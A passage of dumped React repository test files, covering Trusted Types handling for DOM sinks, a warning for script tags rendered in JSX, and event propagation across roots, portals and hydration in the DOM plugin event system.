Element.prototype,\n      'innerHTML',\n    );\n    try {\n      const innerHTMLCalls = [];\n      Object.defineProperty(Element.prototype, 'innerHTML', {\n        get() {\n          return innerHTMLDescriptor.get.apply(this, arguments);\n        },\n        set(value) {\n          innerHTMLCalls.push(value);\n          return innerHTMLDescriptor.set.apply(this, arguments);\n        },\n      });\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: ttObject1}} />);\n      });\n\n      expect(container.innerHTML).toBe('<div><b>Hi</b></div>');\n      expect(innerHTMLCalls.length).toBe(1);\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      expect(innerHTMLCalls[0]).toBe(ttObject1);\n\n      innerHTMLCalls.length = 0;\n      await act(() => {\n        root.render(<div dangerouslySetInnerHTML={{__html: ttObject2}} />);\n      });\n\n      expect(container.innerHTML).toBe('<div><b>Bye</b></div>');\n      expect(innerHTMLCalls.length).toBe(1);\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      expect(innerHTMLCalls[0]).toBe(ttObject2);\n    } finally {\n      Object.defineProperty(\n        Element.prototype,\n        'innerHTML',\n        innerHTMLDescriptor,\n      );\n    }\n  });\n\n  it('should not stringify trusted values for setAttribute (unknown attribute)', async () => {\n    const setAttribute = Element.prototype.setAttribute;\n    try {\n      const setAttributeCalls = [];\n      Element.prototype.setAttribute = function (name, value) {\n        setAttributeCalls.push([this, name.toLowerCase(), value]);\n        return setAttribute.apply(this, arguments);\n      };\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div data-foo={ttObject1} />);\n      });\n\n      expect(container.innerHTML).toBe('<div data-foo=\"<b>Hi</b>\"></div>');\n      expect(setAttributeCalls.length).toBe(1);\n      expect(setAttributeCalls[0][0]).toBe(container.firstChild);\n      expect(setAttributeCalls[0][1]).toBe('data-foo');\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      if (gate('enableTrustedTypesIntegration')) {\n        expect(setAttributeCalls[0][2]).toBe(ttObject1);\n      } else {\n        expect(setAttributeCalls[0][2]).toBe('<b>Hi</b>');\n      }\n\n      setAttributeCalls.length = 0;\n      await act(() => {\n        root.render(<div data-foo={ttObject2} />);\n      });\n\n      expect(setAttributeCalls.length).toBe(1);\n      expect(setAttributeCalls[0][0]).toBe(container.firstChild);\n      expect(setAttributeCalls[0][1]).toBe('data-foo');\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      if (gate('enableTrustedTypesIntegration')) {\n        expect(setAttributeCalls[0][2]).toBe(ttObject2);\n      } else {\n        expect(setAttributeCalls[0][2]).toBe('<b>Bye</b>');\n      }\n    } finally {\n      Element.prototype.setAttribute = setAttribute;\n    }\n  });\n\n  it('should not stringify trusted values for setAttribute (known attribute)', async () => {\n    const setAttribute = Element.prototype.setAttribute;\n    try {\n      const setAttributeCalls = [];\n      Element.prototype.setAttribute = function (name, value) {\n        setAttributeCalls.push([this, name.toLowerCase(), value]);\n        return setAttribute.apply(this, arguments);\n      };\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div className={ttObject1} />);\n      });\n\n      expect(container.innerHTML).toBe('<div class=\"<b>Hi</b>\"></div>');\n      expect(setAttributeCalls.length).toBe(1);\n      expect(setAttributeCalls[0][0]).toBe(container.firstChild);\n      expect(setAttributeCalls[0][1]).toBe('class');\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      if (gate('enableTrustedTypesIntegration')) {\n        expect(setAttributeCalls[0][2]).toBe(ttObject1);\n      } else {\n        expect(setAttributeCalls[0][2]).toBe('<b>Hi</b>');\n      }\n\n      setAttributeCalls.length = 0;\n      await act(() => {\n        root.render(<div className={ttObject2} />);\n      });\n\n      expect(setAttributeCalls.length).toBe(1);\n      expect(setAttributeCalls[0][0]).toBe(container.firstChild);\n      expect(setAttributeCalls[0][1]).toBe('class');\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      if (gate('enableTrustedTypesIntegration')) {\n        expect(setAttributeCalls[0][2]).toBe(ttObject2);\n      } else {\n        expect(setAttributeCalls[0][2]).toBe('<b>Bye</b>');\n      }\n    } finally {\n      Element.prototype.setAttribute = setAttribute;\n    }\n  });\n\n  it('should not stringify trusted values for setAttributeNS', async () => {\n    const setAttributeNS = Element.prototype.setAttributeNS;\n    try {\n      const setAttributeNSCalls = [];\n      Element.prototype.setAttributeNS = function (ns, name, value) {\n        setAttributeNSCalls.push([this, ns, name, value]);\n        return setAttributeNS.apply(this, arguments);\n      };\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<svg xlinkHref={ttObject1} />);\n      });\n\n      expect(container.innerHTML).toBe('<svg xlink:href=\"<b>Hi</b>\"></svg>');\n      expect(setAttributeNSCalls.length).toBe(1);\n      expect(setAttributeNSCalls[0][0]).toBe(container.firstChild);\n      expect(setAttributeNSCalls[0][1]).toBe('http://www.w3.org/1999/xlink');\n      expect(setAttributeNSCalls[0][2]).toBe('xlink:href');\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      if (gate('enableTrustedTypesIntegration')) {\n        expect(setAttributeNSCalls[0][3]).toBe(ttObject1);\n      } else {\n        expect(setAttributeNSCalls[0][3]).toBe('<b>Hi</b>');\n      }\n\n      setAttributeNSCalls.length = 0;\n      await act(() => {\n        root.render(<svg xlinkHref={ttObject2} />);\n      });\n\n      expect(setAttributeNSCalls.length).toBe(1);\n      expect(setAttributeNSCalls[0][0]).toBe(container.firstChild);\n      expect(setAttributeNSCalls[0][1]).toBe('http://www.w3.org/1999/xlink');\n      expect(setAttributeNSCalls[0][2]).toBe('xlink:href');\n      // Ensure it didn't get stringified when passed to a DOM sink:\n      if (gate('enableTrustedTypesIntegration')) {\n        expect(setAttributeNSCalls[0][3]).toBe(ttObject2);\n      } else {\n        expect(setAttributeNSCalls[0][3]).toBe('<b>Bye</b>');\n      }\n    } finally {\n      Element.prototype.setAttributeNS = setAttributeNS;\n    }\n  });\n\n  it('should warn once when rendering script tag in jsx on client', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<script>alert(\"I am not executed\")</script>);\n    });\n    if (gate('enableTrustedTypesIntegration')) {\n      assertConsoleErrorDev([\n        'Encountered a script tag while rendering React component. ' +\n          'Scripts inside React components are never executed when rendering ' +\n          'on the client. Consider using template tag instead ' +\n          '(https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\\n' +\n          '    in script (at **)',\n      ]);\n    }\n\n    // check that the warning is printed only once\n    await act(() => {\n      root.render(<script>alert(\"I am not executed\")</script>);\n    });\n  });\n\n  it('should not warn when rendering a data block script tag', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <script type=\"application/json\">{'{\"key\": \"value\"}'}</script>,\n      );\n    });\n  });\n\n  it('should not warn when rendering a ld+json script tag', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <script type=\"application/ld+json\">\n          {'{\"@context\": \"https://schema.org\"}'}\n        </script>,\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/__tests__/DOMPluginEventSystem-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {createEventTarget} from 'dom-event-testing-library';\n\nlet React;\nlet ReactFeatureFlags;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet Scheduler;\nlet act;\nlet waitForAll;\nlet waitFor;\n\nfunction dispatchEvent(element, type) {\n  const event = document.createEvent('Event');\n  event.initEvent(type, true, true);\n  element.dispatchEvent(event);\n}\n\nfunction dispatchClickEvent(element) {\n  dispatchEvent(element, 'click');\n}\n\nconst eventListenersToClear = [];\n\nfunction startNativeEventListenerClearDown() {\n  const nativeWindowEventListener = window.addEventListener;\n  window.addEventListener = function (...params) {\n    eventListenersToClear.push({target: window, params});\n    return nativeWindowEventListener.apply(this, params);\n  };\n  const nativeDocumentEventListener = document.addEventListener;\n  document.addEventListener = function (...params) {\n    eventListenersToClear.push({target: document, params});\n    return nativeDocumentEventListener.apply(this, params);\n  };\n}\n\nfunction endNativeEventListenerClearDown() {\n  eventListenersToClear.forEach(({target, params}) => {\n    target.removeEventListener(...params);\n  });\n}\n\ndescribe('DOMPluginEventSystem', () => {\n  let container;\n\n  function withEnableLegacyFBSupport(enableLegacyFBSupport) {\n    describe(\n      'enableLegacyFBSupport ' +\n        (enableLegacyFBSupport ? 'enabled' : 'disabled'),\n      () => {\n        beforeAll(() => {\n          // These tests are run twice, once with legacyFBSupport enabled and once disabled.\n          // The document needs to be cleaned up a bit before the second pass otherwise it is\n          // operating in a non pristine environment\n          document.removeChild(document.documentElement);\n          document.appendChild(document.createElement('html'));\n          document.documentElement.appendChild(document.createElement('head'));\n          document.documentElement.appendChild(document.createElement('body'));\n        });\n\n        beforeEach(() => {\n          jest.resetModules();\n          ReactFeatureFlags = require('shared/ReactFeatureFlags');\n          ReactFeatureFlags.enableLegacyFBSupport = enableLegacyFBSupport;\n\n          React = require('react');\n          ReactDOM = require('react-dom');\n          ReactDOMClient = require('react-dom/client');\n          Scheduler = require('scheduler');\n          ReactDOMServer = require('react-dom/server');\n\n          const InternalTestUtils = require('internal-test-utils');\n          waitForAll = InternalTestUtils.waitForAll;\n          waitFor = InternalTestUtils.waitFor;\n          act = InternalTestUtils.act;\n\n          container = document.createElement('div');\n          document.body.appendChild(container);\n          startNativeEventListenerClearDown();\n        });\n\n        afterEach(() => {\n          document.body.removeChild(container);\n          container = null;\n          endNativeEventListenerClearDown();\n        });\n\n        it('does not pool events', async () => {\n          const buttonRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(e));\n\n          function Test() {\n            return <button ref={buttonRef} onClick={onClick} />;\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Test />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(2);\n          expect(log[0]).not.toBe(log[1]);\n          expect(log[0].type).toBe('click');\n          expect(log[1].type).toBe('click');\n        });\n\n        it('handle propagation of click events', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Test() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                <div\n                  ref={divRef}\n                  onClick={onClick}\n                  onClickCapture={onClickCapture}>\n                  Click me!\n                </div>\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Test />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          dispatchClickEvent(divElement);\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        it('handle propagation of click events combined with sync clicks', async () => {\n          const buttonRef = React.createRef();\n          let clicks = 0;\n\n          function Test() {\n            const inputRef = React.useRef(null);\n            return (\n              <div>\n                <button\n                  ref={buttonRef}\n                  onClick={() => {\n                    // Sync click\n                    inputRef.current.click();\n                  }}\n                />\n                <input\n                  ref={inputRef}\n                  onClick={() => {\n                    clicks++;\n                  }}\n                />\n              </div>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Test />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n\n          expect(clicks).toBe(1);\n        });\n\n        it('handle propagation of click events between roots', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const childRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                <div ref={childRef} />\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n          const childRoot = ReactDOMClient.createRoot(childRef.current);\n          await act(() => {\n            childRoot.render(<Child />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          dispatchClickEvent(divElement);\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        it('handle propagation of click events between disjointed roots', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}\n              />\n            );\n          }\n\n          const disjointedNode = document.createElement('div');\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          buttonRef.current.appendChild(disjointedNode);\n          const disjointedNodeRoot = ReactDOMClient.createRoot(disjointedNode);\n          await act(() => {\n            disjointedNodeRoot.render(<Child />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          dispatchClickEvent(divElement);\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        it('handle propagation of click events between disjointed roots #2', async () => {\n          const buttonRef = React.createRef();\n          const button2Ref = React.createRef();\n          const divRef = React.createRef();\n          const spanRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={button2Ref}\n                onClick={onClick}\n                onClickCapture={onClickCapture}\n              />\n            );\n          }\n\n          function GrandParent() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                <span ref={spanRef} />\n              </button>\n            );\n          }\n\n          // We make a wrapper with an inner container that we\n          // render to. So it looks like <div><span></span></div>\n          // We then render to all three:\n          // - container\n          // - parentContainer\n          // - childContainer\n\n          const parentContainer = document.createElement('div');\n          const childContainer = document.createElement('div');\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<GrandParent />);\n          });\n          const parentRoot = ReactDOMClient.createRoot(parentContainer);\n          await act(() => {\n            parentRoot.render(<Parent />);\n          });\n          const childRoot = ReactDOMClient.createRoot(childContainer);\n          await act(() => {\n            childRoot.render(<Child />);\n          });\n\n          parentContainer.appendChild(childContainer);\n          spanRef.current.appendChild(parentContainer);\n\n          // Inside <GrandParent />\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          // Inside <Child />\n          const divElement = divRef.current;\n          dispatchClickEvent(divElement);\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n\n          // Inside <Parent />\n          const buttonElement2 = button2Ref.current;\n          dispatchClickEvent(buttonElement2);\n          expect(onClick).toHaveBeenCalledTimes(5);\n          expect(onClickCapture).toHaveBeenCalledTimes(5);\n          expect(log[6]).toEqual(['capture', buttonElement]);\n          expect(log[7]).toEqual(['capture', buttonElement2]);\n          expect(log[8]).toEqual(['bubble', buttonElement2]);\n          expect(log[9]).toEqual(['bubble', buttonElement]);\n        });\n\n        // @gate !disableCommentsAsDOMContainers\n        it('handle propagation of click events between disjointed comment roots', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}\n              />\n            );\n          }\n\n          // We use a comment node here, then mount to it\n          const disjointedNode = document.createComment(\n            ' react-mount-point-unstable ',\n          );\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n          buttonRef.current.appendChild(disjointedNode);\n          const disjointedNodeRoot = ReactDOMClient.createRoot(disjointedNode);\n          await act(() => {\n            disjointedNodeRoot.render(<Child />);\n          });\n\n          const buttonElement = buttonRef.current;\n          await act(() => {\n            dispatchClickEvent(buttonElement);\n          });\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          await act(() => {\n            dispatchClickEvent(divElement);\n          });\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        // @gate !disableCommentsAsDOMContainers\n        it('handle propagation of click events between disjointed comment roots #2', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const spanRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                <span ref={spanRef} />\n              </button>\n            );\n          }\n\n          // We use a comment node here, then mount to it\n          const disjointedNode = document.createComment(\n            ' react-mount-point-unstable ',\n          );\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n          spanRef.current.appendChild(disjointedNode);\n          const disjointedNodeRoot = ReactDOMClient.createRoot(disjointedNode);\n          await act(() => {\n            disjointedNodeRoot.render(<Child />);\n          });\n\n          const buttonElement = buttonRef.current;\n          await act(() => {\n            dispatchClickEvent(buttonElement);\n          });\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          await act(() => {\n            dispatchClickEvent(divElement);\n          });\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n        });\n\n        it('handle propagation of click events between portals', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          const portalElement = document.createElement('div');\n          document.body.appendChild(portalElement);\n\n          function Child() {\n            return (\n              <div\n                ref={divRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                Click me!\n              </div>\n            );\n          }\n\n          function Parent() {\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                {ReactDOM.createPortal(<Child />, portalElement)}\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          dispatchClickEvent(divElement);\n          expect(onClick).toHaveBeenCalledTimes(3);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n          expect(log[2]).toEqual(['capture', buttonElement]);\n          expect(log[3]).toEqual(['capture', divElement]);\n          expect(log[4]).toEqual(['bubble', divElement]);\n          expect(log[5]).toEqual(['bubble', buttonElement]);\n\n          document.body.removeChild(portalElement);\n        });\n\n        it('handle click events on document.body portals', async () => {\n          const log = [];\n\n          function Child({label}) {\n            return <div onClick={() => log.push(label)}>{label}</div>;\n          }\n\n          function Parent() {\n            return (\n              <>\n                {ReactDOM.createPortal(\n                  <Child label={'first'} />,\n                  document.body,\n                )}\n                {ReactDOM.createPortal(\n                  <Child label={'second'} />,\n                  document.body,\n                )}\n              </>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const second = document.body.lastChild;\n          expect(second.textContent).toEqual('second');\n          dispatchClickEvent(second);\n\n          expect(log).toEqual(['second']);\n\n          const first = second.previousSibling;\n          expect(first.textContent).toEqual('first');\n          dispatchClickEvent(first);\n\n          expect(log).toEqual(['second', 'first']);\n        });\n\n        it('does not invoke an event on a parent tree when a subtree is dehydrated', async () => {\n          let suspend = false;\n          let resolve;\n          const promise = new Promise(\n            resolvePromise => (resolve = resolvePromise),\n          );\n\n          let clicks = 0;\n          const childSlotRef = React.createRef();\n\n          function Parent() {\n            return <div onClick={() => clicks++} ref={childSlotRef} />;\n          }\n\n          function Child({text}) {\n            if (suspend) {\n              throw promise;\n            } else {\n              return <a>Click me</a>;\n            }\n          }\n\n          function App() {\n            // The root is a Suspense boundary.\n            return (\n              <React.Suspense fallback=\"Loading...\">\n                <Child />\n              </React.Suspense>\n            );\n          }\n\n          suspend = false;\n          const finalHTML = ReactDOMServer.renderToString(<App />);\n\n          const parentContainer = document.createElement('div');\n          const childContainer = document.createElement('div');\n\n          // We need this to be in the document since we'll dispatch events on it.\n          document.body.appendChild(parentContainer);\n\n          // We're going to use a different root as a parent.\n          // This lets us detect whether an event goes through React's event system.\n          const parentRoot = ReactDOMClient.createRoot(parentContainer);\n          await act(() => {\n            parentRoot.render(<Parent />);\n          });\n\n          childSlotRef.current.appendChild(childContainer);\n\n          childContainer.innerHTML = finalHTML;\n\n          const a = childContainer.getElementsByTagName('a')[0];\n\n          suspend = true;\n\n          // Hydrate asynchronously.\n          await act(() => {\n            ReactDOMClient.hydrateRoot(childContainer, <App />);\n          });\n\n          // The Suspense boundary is not yet hydrated.\n          await act(() => {\n            a.click();\n          });\n          expect(clicks).toBe(0);\n\n          // Resolving the promise so that rendering can complete.\n          await act(async () => {\n            suspend = false;\n            resolve();\n            await promise;\n          });\n\n          // We're now full hydrated.\n          expect(clicks).toBe(0);\n          document.body.removeChild(parentContainer);\n        });\n\n        it('handle click events on dynamic portals', async () => {\n          const log = [];\n\n          function Parent() {\n            const ref = React.useRef(null);\n            const [portal, setPortal] = React.useState(null);\n\n            React.useEffect(() => {\n              setPortal(\n                ReactDOM.createPortal(\n                  <span onClick={() => log.push('child')} id=\"child\" />,\n                  ref.current,\n                ),\n              );\n            }, []);\n\n            return (\n              <div ref={ref} onClick={() => log.push('parent')} id=\"parent\">\n                {portal}\n              </div>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const parent = container.lastChild;\n          expect(parent.id).toEqual('parent');\n\n          await act(() => {\n            dispatchClickEvent(parent);\n          });\n\n          expect(log).toEqual(['parent']);\n\n          const child = parent.lastChild;\n          expect(child.id).toEqual('child');\n\n          await act(() => {\n            dispatchClickEvent(child);\n          });\n\n          // we add both 'child' and 'parent' due to bubbling\n          expect(log).toEqual(['parent', 'child', 'parent']);\n        });\n\n        // Slight alteration to the last test, to catch\n        // a subtle difference in traversal.\n        it('handle click events on dynamic portals #2', async () => {\n          const log = [];\n\n          function Parent() {\n            const ref = React.useRef(null);\n            const [portal, setPortal] = React.useState(null);\n\n            React.useEffect(() => {\n              setPortal(\n                ReactDOM.createPortal(\n                  <span onClick={() => log.push('child')} id=\"child\" />,\n                  ref.current,\n                ),\n              );\n            }, []);\n\n            return (\n              <div ref={ref} onClick={() => log.push('parent')} id=\"parent\">\n                <div>{portal}</div>\n              </div>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const parent = container.lastChild;\n          expect(parent.id).toEqual('parent');\n\n          await act(() => {\n            dispatchClickEvent(parent);\n          });\n\n          expect(log).toEqual(['parent']);\n\n          const child = parent.lastChild;\n          expect(child.id).toEqual('child');\n\n          await act(() => {\n            dispatchClickEvent(child);\n          });\n\n          // we add both 'child' and 'parent' due to bubbling\n          expect(log).toEqual(['parent', 'child', 'parent']);\n        });\n\n        it('native stopPropagation on click events between portals', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const middleDivRef = React.createRef();\n          const log = [];\n          const onClick = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onClickCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          const portalElement = document.createElement('div');\n          document.body.appendChild(portalElement);\n\n          function Child() {\n            return (\n              <div ref={middleDivRef}>\n                <div\n                  ref={divRef}\n                  onClick={onClick}\n                  onClickCapture={onClickCapture}>\n                  Click me!\n                </div>\n              </div>\n            );\n          }\n\n          function Parent() {\n            React.useLayoutEffect(() => {\n              // This should prevent the portalElement listeners from\n              // capturing the events in the bubble phase.\n              middleDivRef.current.addEventListener('click', e => {\n                e.stopPropagation();\n              });\n            });\n\n            return (\n              <button\n                ref={buttonRef}\n                onClick={onClick}\n                onClickCapture={onClickCapture}>\n                {ReactDOM.createPortal(<Child />, portalElement)}\n              </button>\n            );\n          }\n\n          const root = ReactDOMClient.createRoot(container);\n          await act(() => {\n            root.render(<Parent />);\n          });\n\n          const buttonElement = buttonRef.current;\n          dispatchClickEvent(buttonElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(1);\n          expect(log[0]).toEqual(['capture', buttonElement]);\n          expect(log[1]).toEqual(['bubble', buttonElement]);\n\n          const divElement = divRef.current;\n          dispatchClickEvent(divElement);\n          expect(onClick).toHaveBeenCalledTimes(1);\n          expect(onClickCapture).toHaveBeenCalledTimes(3);\n\n          document.body.removeChild(portalElement);\n        });\n\n        it('handle propagation of focus events', async () => {\n          const buttonRef = React.createRef();\n          const divRef = React.createRef();\n          const log = [];\n          const onFocus = jest.fn(e => log.push(['bubble', e.currentTarget]));\n          const onFocusCapture = jest.fn(e =>\n            log.push(['capture', e.currentTarget]),\n          );\n\n          function Test() {\n            return (\n              <button\n                ref={buttonRef}\n                onFocus={onFocus}\n                onFocusCapture={onFocusCapture}>\n                <div\n                  ref={divRef}\n                  